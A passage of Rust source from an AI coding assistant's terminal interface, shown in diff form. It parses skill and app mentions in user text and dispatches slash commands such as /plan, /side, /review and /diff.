mentions.linked_paths.insert(name.clone(), path.clone());
|
||||
}
|
||||
}
|
||||
mentions
|
||||
}
|
||||
|
||||
pub(crate) fn find_skill_mentions_with_tool_mentions(
|
||||
mentions: &ToolMentions,
|
||||
skills: &[SkillMetadata],
|
||||
) -> Vec<SkillMetadata> {
|
||||
let mention_skill_paths: HashSet<&str> = mentions
|
||||
.linked_paths
|
||||
.values()
|
||||
.filter(|path| is_skill_path(path))
|
||||
.map(|path| normalize_skill_path(path))
|
||||
.collect();
|
||||
|
||||
let mut seen_names = HashSet::new();
|
||||
let mut seen_paths = HashSet::new();
|
||||
let mut matches: Vec<SkillMetadata> = Vec::new();
|
||||
|
||||
for skill in skills {
|
||||
if seen_paths.contains(&skill.path_to_skills_md) {
|
||||
continue;
|
||||
}
|
||||
let path_str = skill.path_to_skills_md.to_string_lossy();
|
||||
if mention_skill_paths.contains(path_str.as_ref()) {
|
||||
seen_paths.insert(skill.path_to_skills_md.clone());
|
||||
seen_names.insert(skill.name.clone());
|
||||
matches.push(skill.clone());
|
||||
}
|
||||
}
|
||||
|
||||
for skill in skills {
|
||||
if seen_paths.contains(&skill.path_to_skills_md) {
|
||||
continue;
|
||||
}
|
||||
if mentions.names.contains(&skill.name) && seen_names.insert(skill.name.clone()) {
|
||||
seen_paths.insert(skill.path_to_skills_md.clone());
|
||||
matches.push(skill.clone());
|
||||
}
|
||||
}
|
||||
|
||||
matches
|
||||
}
|
||||
|
||||
pub(crate) fn find_app_mentions(
|
||||
mentions: &ToolMentions,
|
||||
apps: &[AppInfo],
|
||||
skill_names_lower: &HashSet<String>,
|
||||
) -> Vec<AppInfo> {
|
||||
let mut explicit_names = HashSet::new();
|
||||
let mut selected_ids = HashSet::new();
|
||||
for (name, path) in &mentions.linked_paths {
|
||||
if let Some(connector_id) = app_id_from_path(path) {
|
||||
explicit_names.insert(name.clone());
|
||||
selected_ids.insert(connector_id.to_string());
|
||||
}
|
||||
}
|
||||
|
||||
let mut slug_counts: HashMap<String, usize> = HashMap::new();
|
||||
for app in apps.iter().filter(|app| app.is_enabled) {
|
||||
let slug = codex_connectors::metadata::connector_mention_slug(app);
|
||||
*slug_counts.entry(slug).or_insert(0) += 1;
|
||||
}
|
||||
|
||||
for app in apps.iter().filter(|app| app.is_enabled) {
|
||||
let slug = codex_connectors::metadata::connector_mention_slug(app);
|
||||
let slug_count = slug_counts.get(&slug).copied().unwrap_or(0);
|
||||
if mentions.names.contains(&slug)
|
||||
&& !explicit_names.contains(&slug)
|
||||
&& slug_count == 1
|
||||
&& !skill_names_lower.contains(&slug)
|
||||
{
|
||||
selected_ids.insert(app.id.clone());
|
||||
}
|
||||
}
|
||||
|
||||
apps.iter()
|
||||
.filter(|app| app.is_enabled && selected_ids.contains(&app.id))
|
||||
.cloned()
|
||||
.collect()
|
||||
}
|
||||
|
||||
pub(crate) struct ToolMentions {
|
||||
names: HashSet<String>,
|
||||
linked_paths: HashMap<String, String>,
|
||||
}
|
||||
|
||||
fn extract_tool_mentions_from_text(text: &str) -> ToolMentions {
|
||||
extract_tool_mentions_from_text_with_sigil(text, TOOL_MENTION_SIGIL)
|
||||
}
|
||||
|
||||
fn extract_tool_mentions_from_text_with_sigil(text: &str, sigil: char) -> ToolMentions {
|
||||
let text_bytes = text.as_bytes();
|
||||
let mut names: HashSet<String> = HashSet::new();
|
||||
let mut linked_paths: HashMap<String, String> = HashMap::new();
|
||||
|
||||
let mut index = 0;
|
||||
while index < text_bytes.len() {
|
||||
let byte = text_bytes[index];
|
||||
if byte == b'['
|
||||
&& let Some((name, path, end_index)) =
|
||||
parse_linked_tool_mention(text, text_bytes, index, sigil)
|
||||
{
|
||||
if !is_common_env_var(name) {
|
||||
if is_skill_path(path) {
|
||||
names.insert(name.to_string());
|
||||
}
|
||||
linked_paths
|
||||
.entry(name.to_string())
|
||||
.or_insert(path.to_string());
|
||||
}
|
||||
index = end_index;
|
||||
continue;
|
||||
}
|
||||
|
||||
if byte != sigil as u8 {
|
||||
index += 1;
|
||||
continue;
|
||||
}
|
||||
|
||||
let name_start = index + 1;
|
||||
let Some(first_name_byte) = text_bytes.get(name_start) else {
|
||||
index += 1;
|
||||
continue;
|
||||
};
|
||||
if !is_mention_name_char(*first_name_byte) {
|
||||
index += 1;
|
||||
continue;
|
||||
}
|
||||
|
||||
let mut name_end = name_start + 1;
|
||||
while let Some(next_byte) = text_bytes.get(name_end)
|
||||
&& is_mention_name_char(*next_byte)
|
||||
{
|
||||
name_end += 1;
|
||||
}
|
||||
|
||||
let name = &text[name_start..name_end];
|
||||
if !is_common_env_var(name) {
|
||||
names.insert(name.to_string());
|
||||
}
|
||||
index = name_end;
|
||||
}
|
||||
|
||||
ToolMentions {
|
||||
names,
|
||||
linked_paths,
|
||||
}
|
||||
}
|
||||
|
||||
fn parse_linked_tool_mention<'a>(
|
||||
text: &'a str,
|
||||
text_bytes: &[u8],
|
||||
start: usize,
|
||||
sigil: char,
|
||||
) -> Option<(&'a str, &'a str, usize)> {
|
||||
let sigil_index = start + 1;
|
||||
if text_bytes.get(sigil_index) != Some(&(sigil as u8)) {
|
||||
return None;
|
||||
}
|
||||
|
||||
let name_start = sigil_index + 1;
|
||||
let first_name_byte = text_bytes.get(name_start)?;
|
||||
if !is_mention_name_char(*first_name_byte) {
|
||||
return None;
|
||||
}
|
||||
|
||||
let mut name_end = name_start + 1;
|
||||
while let Some(next_byte) = text_bytes.get(name_end)
|
||||
&& is_mention_name_char(*next_byte)
|
||||
{
|
||||
name_end += 1;
|
||||
}
|
||||
|
||||
if text_bytes.get(name_end) != Some(&b']') {
|
||||
return None;
|
||||
}
|
||||
|
||||
let mut path_start = name_end + 1;
|
||||
while let Some(next_byte) = text_bytes.get(path_start)
|
||||
&& next_byte.is_ascii_whitespace()
|
||||
{
|
||||
path_start += 1;
|
||||
}
|
||||
if text_bytes.get(path_start) != Some(&b'(') {
|
||||
return None;
|
||||
}
|
||||
|
||||
let mut path_end = path_start + 1;
|
||||
while let Some(next_byte) = text_bytes.get(path_end)
|
||||
&& *next_byte != b')'
|
||||
{
|
||||
path_end += 1;
|
||||
}
|
||||
if text_bytes.get(path_end) != Some(&b')') {
|
||||
return None;
|
||||
}
|
||||
|
||||
let path = text[path_start + 1..path_end].trim();
|
||||
if path.is_empty() {
|
||||
return None;
|
||||
}
|
||||
|
||||
let name = &text[name_start..name_end];
|
||||
Some((name, path, path_end + 1))
|
||||
}
|
||||
|
||||
fn is_common_env_var(name: &str) -> bool {
|
||||
let upper = name.to_ascii_uppercase();
|
||||
matches!(
|
||||
upper.as_str(),
|
||||
"PATH"
|
||||
| "HOME"
|
||||
| "USER"
|
||||
| "SHELL"
|
||||
| "PWD"
|
||||
| "TMPDIR"
|
||||
| "TEMP"
|
||||
| "TMP"
|
||||
| "LANG"
|
||||
| "TERM"
|
||||
| "XDG_CONFIG_HOME"
|
||||
)
|
||||
}
|
||||
|
||||
fn is_mention_name_char(byte: u8) -> bool {
|
||||
matches!(byte, b'a'..=b'z' | b'A'..=b'Z' | b'0'..=b'9' | b'_' | b'-')
|
||||
}
|
||||
|
||||
fn is_skill_path(path: &str) -> bool {
|
||||
!path.starts_with("app://") && !path.starts_with("mcp://") && !path.starts_with("plugin://")
|
||||
}
|
||||
|
||||
fn normalize_skill_path(path: &str) -> &str {
|
||||
path.strip_prefix("skill://").unwrap_or(path)
|
||||
}
|
||||
|
||||
fn app_id_from_path(path: &str) -> Option<&str> {
|
||||
path.strip_prefix("app://")
|
||||
.filter(|value| !value.is_empty())
|
||||
}
|
||||
815
vendor/codex/codex-rs/tui/src/chatwidget/slash_dispatch.rs
vendored
Normal file
815
vendor/codex/codex-rs/tui/src/chatwidget/slash_dispatch.rs
vendored
Normal file
|
|
@ -0,0 +1,815 @@
|
|||
//! Slash-command dispatch and local-recall handoff for `ChatWidget`.
|
||||
//!
|
||||
//! `ChatComposer` parses slash input and stages recognized command text for local
|
||||
//! Up-arrow recall before returning an input result. This module owns the app-level
|
||||
//! dispatch step and records the staged entry once the command has been handled, so
|
||||
//! slash-command recall follows the same submitted-input rule as ordinary text.
|
||||
|
||||
use super::*;
|
||||
use crate::bottom_pane::prompt_args::parse_slash_name;
|
||||
use crate::bottom_pane::slash_commands;
|
||||
|
||||
#[derive(Clone, Copy, Debug, PartialEq, Eq)]
|
||||
enum SlashCommandDispatchSource {
|
||||
Live,
|
||||
Queued,
|
||||
}
|
||||
|
||||
struct PreparedSlashCommandArgs {
|
||||
args: String,
|
||||
text_elements: Vec<TextElement>,
|
||||
local_images: Vec<LocalImageAttachment>,
|
||||
remote_image_urls: Vec<String>,
|
||||
mention_bindings: Vec<MentionBinding>,
|
||||
source: SlashCommandDispatchSource,
|
||||
}
|
||||
|
||||
const SIDE_STARTING_CONTEXT_LABEL: &str = "Side starting...";
|
||||
const SIDE_REVIEW_UNAVAILABLE_MESSAGE: &str =
|
||||
"'/side' is unavailable while code review is running.";
|
||||
const SIDE_SLASH_COMMAND_UNAVAILABLE_HINT: &str = "Press Esc to return to the main thread first.";
|
||||
|
||||
impl ChatWidget {
|
||||
/// Dispatch a bare slash command and record its staged local-history entry.
|
||||
///
|
||||
/// The composer stages history before returning `InputResult::Command`; this wrapper commits
|
||||
/// that staged entry after dispatch so slash-command recall follows the same "submitted input"
|
||||
/// rule as normal text.
|
||||
pub(super) fn handle_slash_command_dispatch(&mut self, cmd: SlashCommand) {
|
||||
self.dispatch_command(cmd);
|
||||
self.bottom_pane.record_pending_slash_command_history();
|
||||
}
|
||||
|
||||
/// Dispatch an inline slash command and record its staged local-history entry.
|
||||
///
|
||||
/// Inline command arguments may later be prepared through the normal submission pipeline, but
|
||||
/// local command recall still tracks the original command invocation. Treating this wrapper as
|
||||
/// the only input-result entry point avoids double-recording commands with inline args.
|
||||
pub(super) fn handle_slash_command_with_args_dispatch(
|
||||
&mut self,
|
||||
cmd: SlashCommand,
|
||||
args: String,
|
||||
text_elements: Vec<TextElement>,
|
||||
) {
|
||||
self.dispatch_command_with_args(cmd, args, text_elements);
|
||||
self.bottom_pane.record_pending_slash_command_history();
|
||||
}
|
||||
|
||||
fn apply_plan_slash_command(&mut self) -> bool {
|
||||
if !self.collaboration_modes_enabled() {
|
||||
self.add_info_message(
|
||||
"Collaboration modes are disabled.".to_string(),
|
||||
Some("Enable collaboration modes to use /plan.".to_string()),
|
||||
);
|
||||
return false;
|
||||
}
|
||||
if let Some(mask) = collaboration_modes::plan_mask(self.model_catalog.as_ref()) {
|
||||
self.set_collaboration_mask(mask);
|
||||
true
|
||||
} else {
|
||||
self.add_info_message(
|
||||
"Plan mode unavailable right now.".to_string(),
|
||||
/*hint*/ None,
|
||||
);
|
||||
false
|
||||
}
|
||||
}
|
||||
|
||||
fn request_side_conversation(
|
||||
&mut self,
|
||||
parent_thread_id: ThreadId,
|
||||
user_message: Option<UserMessage>,
|
||||
) {
|
||||
self.set_side_conversation_context_label(Some(SIDE_STARTING_CONTEXT_LABEL.to_string()));
|
||||
self.request_redraw();
|
||||
self.app_event_tx.send(AppEvent::StartSide {
|
||||
parent_thread_id,
|
||||
user_message,
|
||||
});
|
||||
}
|
||||
|
||||
fn request_empty_side_conversation(&mut self) {
|
||||
let Some(parent_thread_id) = self.thread_id else {
|
||||
self.add_error_message("'/side' is unavailable before the session starts.".to_string());
|
||||
return;
|
||||
};
|
||||
|
||||
self.request_side_conversation(parent_thread_id, /*user_message*/ None);
|
||||
}
|
||||
|
||||
pub(super) fn dispatch_command(&mut self, cmd: SlashCommand) {
|
||||
if !self.ensure_slash_command_allowed_in_side_conversation(cmd) {
|
||||
return;
|
||||
}
|
||||
if !self.ensure_side_command_allowed_outside_review(cmd) {
|
||||
return;
|
||||
}
|
||||
if !cmd.available_during_task() && self.bottom_pane.is_task_running() {
|
||||
let message = format!(
|
||||
"'/{}' is disabled while a task is in progress.",
|
||||
cmd.command()
|
||||
);
|
||||
self.add_to_history(history_cell::new_error_event(message));
|
||||
self.bottom_pane.drain_pending_submission_state();
|
||||
self.request_redraw();
|
||||
return;
|
||||
}
|
||||
|
||||
match cmd {
|
||||
SlashCommand::Feedback => {
|
||||
if !self.config.feedback_enabled {
|
||||
let params = crate::bottom_pane::feedback_disabled_params();
|
||||
self.bottom_pane.show_selection_view(params);
|
||||
self.request_redraw();
|
||||
return;
|
||||
}
|
||||
// Step 1: pick a category (UI built in feedback_view)
|
||||
let params =
|
||||
crate::bottom_pane::feedback_selection_params(self.app_event_tx.clone());
|
||||
self.bottom_pane.show_selection_view(params);
|
||||
self.request_redraw();
|
||||
}
|
||||
SlashCommand::New => {
|
||||
self.app_event_tx.send(AppEvent::NewSession);
|
||||
}
|
||||
SlashCommand::Clear => {
|
||||
self.app_event_tx.send(AppEvent::ClearUi);
|
||||
}
|
||||
SlashCommand::Resume => {
|
||||
self.app_event_tx.send(AppEvent::OpenResumePicker);
|
||||
}
|
||||
SlashCommand::Fork => {
|
||||
self.app_event_tx.send(AppEvent::ForkCurrentSession);
|
||||
}
|
||||
SlashCommand::Init => {
|
||||
let init_target = self.config.cwd.join(DEFAULT_AGENTS_MD_FILENAME);
|
||||
if init_target.exists() {
|
||||
let message = format!(
|
||||
"{DEFAULT_AGENTS_MD_FILENAME} already exists here. Skipping /init to avoid overwriting it."
|
||||
);
|
||||
self.add_info_message(message, /*hint*/ None);
|
||||
return;
|
||||
}
|
||||
const INIT_PROMPT: &str = include_str!("../../prompt_for_init_command.md");
|
||||
self.submit_user_message(INIT_PROMPT.to_string().into());
|
||||
}
|
||||
SlashCommand::Compact => {
|
||||
self.clear_token_usage();
|
||||
if !self.bottom_pane.is_task_running() {
|
||||
self.bottom_pane.set_task_running(/*running*/ true);
|
||||
}
|
||||
self.app_event_tx.compact();
|
||||
}
|
||||
SlashCommand::Review => {
|
||||
self.open_review_popup();
|
||||
}
|
||||
SlashCommand::Rename => {
|
||||
self.session_telemetry
|
||||
.counter("codex.thread.rename", /*inc*/ 1, &[]);
|
||||
self.show_rename_prompt();
|
||||
}
|
||||
SlashCommand::Model => {
|
||||
self.open_model_popup();
|
||||
}
|
||||
SlashCommand::Fast => {
|
||||
let next_tier = if matches!(self.config.service_tier, Some(ServiceTier::Fast)) {
|
||||
None
|
||||
} else {
|
||||
Some(ServiceTier::Fast)
|
||||
};
|
||||
self.set_service_tier_selection(next_tier);
|
||||
}
|
||||
SlashCommand::Realtime => {
|
||||
if !self.realtime_conversation_enabled() {
|
||||
return;
|
||||
}
|
||||
if self.realtime_conversation.is_live() {
|
||||
self.stop_realtime_conversation_from_ui();
|
||||
} else {
|
||||
self.start_realtime_conversation();
|
||||
}
|
||||
}
|
||||
SlashCommand::Settings => {
|
||||
if !self.realtime_audio_device_selection_enabled() {
|
||||
return;
|
||||
}
|
||||
self.open_realtime_audio_popup();
|
||||
}
|
||||
SlashCommand::Personality => {
|
||||
self.open_personality_popup();
|
||||
}
|
||||
SlashCommand::Plan => {
|
||||
self.apply_plan_slash_command();
|
||||
}
|
||||
SlashCommand::Collab => {
|
||||
if !self.collaboration_modes_enabled() {
|
||||
self.add_info_message(
|
||||
"Collaboration modes are disabled.".to_string(),
|
||||
Some("Enable collaboration modes to use /collab.".to_string()),
|
||||
);
|
||||
return;
|
||||
}
|
||||
self.open_collaboration_modes_popup();
|
||||
}
|
||||
SlashCommand::Side => {
|
||||
self.request_empty_side_conversation();
|
||||
}
|
||||
SlashCommand::Agent | SlashCommand::MultiAgents => {
|
||||
self.app_event_tx.send(AppEvent::OpenAgentPicker);
|
||||
}
|
||||
SlashCommand::Approvals => {
|
||||
self.open_permissions_popup();
|
||||
}
|
||||
SlashCommand::Permissions => {
|
||||
self.open_permissions_popup();
|
||||
}
|
||||
SlashCommand::ElevateSandbox => {
|
||||
#[cfg(target_os = "windows")]
|
||||
{
|
||||
let windows_sandbox_level = WindowsSandboxLevel::from_config(&self.config);
|
||||
let windows_degraded_sandbox_enabled =
|
||||
matches!(windows_sandbox_level, WindowsSandboxLevel::RestrictedToken);
|
||||
if !windows_degraded_sandbox_enabled
|
||||
|| !crate::legacy_core::windows_sandbox::ELEVATED_SANDBOX_NUX_ENABLED
|
||||
{
|
||||
// This command should not be visible/recognized outside degraded mode,
|
||||
// but guard anyway in case something dispatches it directly.
|
||||
return;
|
||||
}
|
||||
|
||||
let Some(preset) = builtin_approval_presets()
|
||||
.into_iter()
|
||||
.find(|preset| preset.id == "auto")
|
||||
else {
|
||||
// Avoid panicking in interactive UI; treat this as a recoverable
|
||||
// internal error.
|
||||
self.add_error_message(
|
||||
"Internal error: missing the 'auto' approval preset.".to_string(),
|
||||
);
|
||||
return;
|
||||
};
|
||||
|
||||
if let Err(err) = self
|
||||
.config
|
||||
.permissions
|
||||
.approval_policy
|
||||
.can_set(&preset.approval)
|
||||
{
|
||||
self.add_error_message(err.to_string());
|
||||
return;
|
||||
}
|
||||
|
||||
self.session_telemetry.counter(
|
||||
"codex.windows_sandbox.setup_elevated_sandbox_command",
|
||||
/*inc*/ 1,
|
||||
&[],
|
||||
);
|
||||
self.app_event_tx
|
||||
.send(AppEvent::BeginWindowsSandboxElevatedSetup { preset });
|
||||
}
|
||||
#[cfg(not(target_os = "windows"))]
|
||||
{
|
||||
let _ = &self.session_telemetry;
|
||||
// Not supported; on non-Windows this command should never be reachable.
|
||||
}
|
||||
}
|
||||
SlashCommand::SandboxReadRoot => {
|
||||
self.add_error_message(
|
||||
"Usage: /sandbox-add-read-dir <absolute-directory-path>".to_string(),
|
||||
);
|
||||
}
|
||||
SlashCommand::Experimental => {
|
||||
self.open_experimental_popup();
|
||||
}
|
||||
SlashCommand::Memories => {
|
||||
self.open_memories_popup();
|
||||
}
|
||||
SlashCommand::Quit | SlashCommand::Exit => {
|
||||
self.request_quit_without_confirmation();
|
||||
}
|
||||
SlashCommand::Logout => {
|
||||
self.app_event_tx.send(AppEvent::Logout);
|
||||
}
|
||||
// SlashCommand::Undo => {
|
||||
// self.app_event_tx.send(AppEvent::CodexOp(Op::Undo));
|
||||
// }
|
||||
SlashCommand::Copy => {
|
||||
self.copy_last_agent_markdown();
|
||||
}
|
||||
SlashCommand::Diff => {
|
||||
self.add_diff_in_progress();
|
||||
let tx = self.app_event_tx.clone();
|
||||
tokio::spawn(async move {
|
||||
let text = match get_git_diff().await {
|
||||
Ok((is_git_repo, diff_text)) => {
|
||||
if is_git_repo {
|
||||
diff_text
|
||||
} else {
|
||||
"`/diff` — _not inside a git repository_".to_string()
|
||||
}
|
||||
}
|
||||
Err(e) => format!("Failed to compute diff: {e}"),
|
||||
};
|
||||
tx.send(AppEvent::DiffResult(text));
|
||||
});
|
||||
}
|
||||
SlashCommand::Mention => {
|
||||
self.insert_str("@");
|
||||
}
|
||||
SlashCommand::Skills => {
|
||||
self.open_skills_menu();
|
||||
}
|
||||
SlashCommand::Status => {
|
||||
if self.should_prefetch_rate_limits() {
|
||||
let request_id = self.next_status_refresh_request_id;
|
||||
self.next_status_refresh_request_id =
|
||||
self.next_status_refresh_request_id.wrapping_add(1);
|
||||
self.add_status_output(/*refreshing_rate_limits*/ true, Some(request_id));
|
||||
self.app_event_tx.send(AppEvent::RefreshRateLimits {
|
||||
origin: RateLimitRefreshOrigin::StatusCommand { request_id },
|
||||
});
|
||||
} else {
|
||||
self.add_status_output(
|
||||
/*refreshing_rate_limits*/ false, /*request_id*/ None,
|
||||
);
|
||||
}
|
||||
}
|
||||
SlashCommand::DebugConfig => {
|
||||
self.add_debug_config_output();
|
||||
}
|
||||
SlashCommand::Title => {
|
||||
self.open_terminal_title_setup();
|
||||
}
|
||||
SlashCommand::Statusline => {
|
||||
self.open_status_line_setup();
|
||||
}
|
||||
SlashCommand::Theme => {
|
||||
self.open_theme_picker();
|
||||
}
|
||||
SlashCommand::Ps => {
|
||||
self.add_ps_output();
|
||||
}
|
||||
SlashCommand::Stop => {
|
||||
self.clean_background_terminals();
|
||||
}
|
||||
SlashCommand::MemoryDrop => {
|
||||
self.add_app_server_stub_message("Memory maintenance");
|
||||
}
|
||||
SlashCommand::MemoryUpdate => {
|
||||
self.add_app_server_stub_message("Memory maintenance");
|
||||
}
|
||||
SlashCommand::Mcp => {
|
||||
self.add_mcp_output(McpServerStatusDetail::ToolsAndAuthOnly);
|
||||
}
|
||||
SlashCommand::Apps => {
|
||||
self.add_connectors_output();
|
||||
}
|
||||
SlashCommand::Plugins => {
|
||||
self.add_plugins_output();
|
||||
}
|
||||
SlashCommand::Rollout => {
|
||||
if let Some(path) = self.rollout_path() {
|
||||
self.add_info_message(
|
||||
format!("Current rollout path: {}", path.display()),
|
||||
/*hint*/ None,
|
||||
);
|
||||
} else {
|
||||
self.add_info_message(
|
||||
"Rollout path is not available yet.".to_string(),
|
||||
/*hint*/ None,
|
||||
);
|
||||
}
|
||||
}
|
||||
SlashCommand::TestApproval => {
|
||||
use std::collections::HashMap;
|
||||
|
||||
use codex_protocol::protocol::ApplyPatchApprovalRequestEvent;
|
||||
use codex_protocol::protocol::FileChange;
|
||||
|
||||
self.on_apply_patch_approval_request(
|
||||
"1".to_string(),
|
||||
ApplyPatchApprovalRequestEvent {
|
||||
call_id: "1".to_string(),
|
||||
turn_id: "turn-1".to_string(),
|
||||
changes: HashMap::from([
|
||||
(
|
||||
PathBuf::from("/tmp/test.txt"),
|
||||
FileChange::Add {
|
||||
content: "test".to_string(),
|
||||
},
|
||||
),
|
||||
(
|
||||
PathBuf::from("/tmp/test2.txt"),
|
||||
FileChange::Update {
|
||||
unified_diff: "+test\n-test2".to_string(),
|
||||
move_path: None,
|
||||
},
|
||||
),
|
||||
]),
|
||||
reason: None,
|
||||
grant_root: Some(PathBuf::from("/tmp")),
|
||||
},
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Run an inline slash command.
|
||||
///
|
||||
/// Branches that prepare arguments should pass `record_history: false` to the composer because
|
||||
/// the staged slash-command entry is the recall record; using the normal submission-history
|
||||
/// path as well would make a single command appear twice during Up-arrow navigation.
|
||||
pub(super) fn dispatch_command_with_args(
|
||||
&mut self,
|
||||
cmd: SlashCommand,
|
||||
args: String,
|
||||
text_elements: Vec<TextElement>,
|
||||
) {
|
||||
if !self.ensure_slash_command_allowed_in_side_conversation(cmd) {
|
||||
return;
|
||||
}
|
||||
if !self.ensure_side_command_allowed_outside_review(cmd) {
|
||||
return;
|
||||
}
|
||||
if !cmd.supports_inline_args() {
|
||||
self.dispatch_command(cmd);
|
||||
return;
|
||||
}
|
||||
if !cmd.available_during_task() && self.bottom_pane.is_task_running() {
|
||||
let message = format!(
|
||||
"'/{}' is disabled while a task is in progress.",
|
||||
cmd.command()
|
||||
);
|
||||
self.add_to_history(history_cell::new_error_event(message));
|
||||
self.request_redraw();
|
||||
return;
|
||||
}
|
||||
|
||||
let trimmed = args.trim();
|
||||
if trimmed.is_empty() {
|
||||
self.dispatch_command(cmd);
|
||||
return;
|
||||
}
|
||||
|
||||
let Some((prepared_args, prepared_elements)) =
|
||||
self.prepare_live_inline_args(args, text_elements)
|
||||
else {
|
||||
return;
|
||||
};
|
||||
self.dispatch_prepared_command_with_args(
|
||||
cmd,
|
||||
PreparedSlashCommandArgs {
|
||||
args: prepared_args,
|
||||
text_elements: prepared_elements,
|
||||
local_images: Vec::new(),
|
||||
remote_image_urls: Vec::new(),
|
||||
mention_bindings: Vec::new(),
|
||||
source: SlashCommandDispatchSource::Live,
|
||||
},
|
||||
);
|
||||
}
|
||||
|
||||
fn prepare_live_inline_args(
|
||||
&mut self,
|
||||
args: String,
|
||||
text_elements: Vec<TextElement>,
|
||||
) -> Option<(String, Vec<TextElement>)> {
|
||||
if self.bottom_pane.composer_text().is_empty() {
|
||||
Some((args, text_elements))
|
||||
} else {
|
||||
self.bottom_pane
|
||||
.prepare_inline_args_submission(/*record_history*/ false)
|
||||
}
|
||||
}
|
||||
|
||||
fn prepared_inline_user_message(
|
||||
&mut self,
|
||||
args: String,
|
||||
text_elements: Vec<TextElement>,
|
||||
mut local_images: Vec<LocalImageAttachment>,
|
||||
mut remote_image_urls: Vec<String>,
|
||||
mut mention_bindings: Vec<MentionBinding>,
|
||||
source: SlashCommandDispatchSource,
|
||||
) -> UserMessage {
|
||||
if source == SlashCommandDispatchSource::Live {
|
||||
local_images = self
|
||||
.bottom_pane
|
||||
.take_recent_submission_images_with_placeholders();
|
||||
remote_image_urls = self.take_remote_image_urls();
|
||||
mention_bindings = self.bottom_pane.take_recent_submission_mention_bindings();
|
||||
}
|
||||
UserMessage {
|
||||
text: args,
|
||||
local_images,
|
||||
remote_image_urls,
|
||||
text_elements,
|
||||
mention_bindings,
|
||||
}
|
||||
}
|
||||
|
||||
fn dispatch_prepared_command_with_args(
|
||||
&mut self,
|
||||
cmd: SlashCommand,
|
||||
prepared: PreparedSlashCommandArgs,
|
||||
) {
|
||||
let PreparedSlashCommandArgs {
|
||||
args,
|
||||
text_elements,
|
||||
local_images,
|
||||
remote_image_urls,
|
||||
mention_bindings,
|
||||
source,
|
||||
} = prepared;
|
||||
let trimmed = args.trim();
|
||||
match cmd {
|
||||
SlashCommand::Fast => {
|
||||
match trimmed.to_ascii_lowercase().as_str() {
|
||||
"on" => self.set_service_tier_selection(Some(ServiceTier::Fast)),
|
||||
"off" => self.set_service_tier_selection(/*service_tier*/ None),
|
||||
"status" => {
|
||||
let status = if matches!(self.config.service_tier, Some(ServiceTier::Fast))
|
||||
{
|
||||
"on"
|
||||
} else {
|
||||
"off"
|
||||
};
|
||||
self.add_info_message(
|
||||
format!("Fast mode is {status}."),
|
||||
/*hint*/ None,
|
||||
);
|
||||
}
|
||||
_ => {
|
||||
self.add_error_message("Usage: /fast [on|off|status]".to_string());
|
||||
}
|
||||
}
|
||||
}
|
||||
SlashCommand::Mcp => match trimmed.to_ascii_lowercase().as_str() {
|
||||
"verbose" => self.add_mcp_output(McpServerStatusDetail::Full),
|
||||
_ => self.add_error_message("Usage: /mcp [verbose]".to_string()),
|
||||
},
|
||||
SlashCommand::Rename if !trimmed.is_empty() => {
|
||||
if !self.ensure_thread_rename_allowed() {
|
||||
return;
|
||||
}
|
||||
self.session_telemetry
|
||||
.counter("codex.thread.rename", /*inc*/ 1, &[]);
|
||||
let Some(name) = crate::legacy_core::util::normalize_thread_name(&args) else {
|
||||
self.add_error_message("Thread name cannot be empty.".to_string());
|
||||
return;
|
||||
};
|
||||
self.app_event_tx.set_thread_name(name);
|
||||
}
|
||||
SlashCommand::Plan if !trimmed.is_empty() => {
|
||||
if !self.apply_plan_slash_command() {
|
||||
return;
|
||||
}
|
||||
let user_message = self.prepared_inline_user_message(
|
||||
args,
|
||||
text_elements,
|
||||
local_images,
|
||||
remote_image_urls,
|
||||
mention_bindings,
|
||||
source,
|
||||
);
|
||||
if self.is_session_configured() {
|
||||
self.reasoning_buffer.clear();
|
||||
self.full_reasoning_buffer.clear();
|
||||
self.set_status_header(String::from("Working"));
|
||||
self.submit_user_message(user_message);
|
||||
} else {
|
||||
self.queue_user_message(user_message);
|
||||
}
|
||||
}
|
||||
SlashCommand::Side if !trimmed.is_empty() => {
|
||||
let Some(parent_thread_id) = self.thread_id else {
|
||||
self.add_error_message(
|
||||
"'/side' is unavailable before the session starts.".to_string(),
|
||||
);
|
||||
return;
|
||||
};
|
||||
let user_message = self.prepared_inline_user_message(
|
||||
args,
|
||||
text_elements,
|
||||
local_images,
|
||||
remote_image_urls,
|
||||
mention_bindings,
|
||||
source,
|
||||
);
|
||||
self.request_side_conversation(parent_thread_id, Some(user_message));
|
||||
}
|
||||
SlashCommand::Review if !trimmed.is_empty() => {
|
||||
self.submit_op(AppCommand::review(ReviewRequest {
|
||||
target: ReviewTarget::Custom { instructions: args },
|
||||
user_facing_hint: None,
|
||||
}));
|
||||
}
|
||||
SlashCommand::Resume if !trimmed.is_empty() => {
|
||||
self.app_event_tx
|
||||
.send(AppEvent::ResumeSessionByIdOrName(args));
|
||||
}
|
||||
SlashCommand::SandboxReadRoot if !trimmed.is_empty() => {
|
||||
self.app_event_tx
|
||||
.send(AppEvent::BeginWindowsSandboxGrantReadRoot { path: args });
|
||||
}
|
||||
_ => self.dispatch_command(cmd),
|
||||
}
|
||||
if source == SlashCommandDispatchSource::Live {
|
||||
self.bottom_pane.drain_pending_submission_state();
|
||||
}
|
||||
}
|
||||
|
||||
pub(super) fn submit_queued_slash_prompt(&mut self, user_message: UserMessage) -> QueueDrain {
|
||||
let UserMessage {
|
||||
text,
|
||||
local_images,
|
||||
remote_image_urls,
|
||||
text_elements,
|
||||
mention_bindings,
|
||||
} = user_message;
|
||||
let Some((name, rest, rest_offset)) = parse_slash_name(&text) else {
|
||||
self.submit_user_message(UserMessage {
|
||||
text,
|
||||
local_images,
|
||||
remote_image_urls,
|
||||
text_elements,
|
||||
mention_bindings,
|
||||
});
|
||||
return QueueDrain::Stop;
|
||||
};
|
||||
|
||||
if name.contains('/') {
|
||||
self.submit_user_message(UserMessage {
|
||||
text,
|
||||
local_images,
|
||||
remote_image_urls,
|
||||
text_elements,
|
||||
mention_bindings,
|
||||
});
|
||||
return QueueDrain::Stop;
|
||||
}
|
||||
|
||||
let Some(cmd) = slash_commands::find_builtin_command(name, self.builtin_command_flags())
|
||||
else {
|
||||
self.add_info_message(
|
||||
format!(
|
||||
r#"Unrecognized command '/{name}'. Type "/" for a list of supported commands."#
|
||||
),
|
||||
/*hint*/ None,
|
||||
);
|
||||
return QueueDrain::Continue;
|
||||
};
|
||||
|
||||
if rest.is_empty() {
|
||||
self.dispatch_command(cmd);
|
||||
return self.queued_command_drain_result(cmd);
|
||||
}
|
||||
|
||||
if !cmd.supports_inline_args() {
|
||||
self.submit_user_message(UserMessage {
|
||||
text,
|
||||
local_images,
|
||||
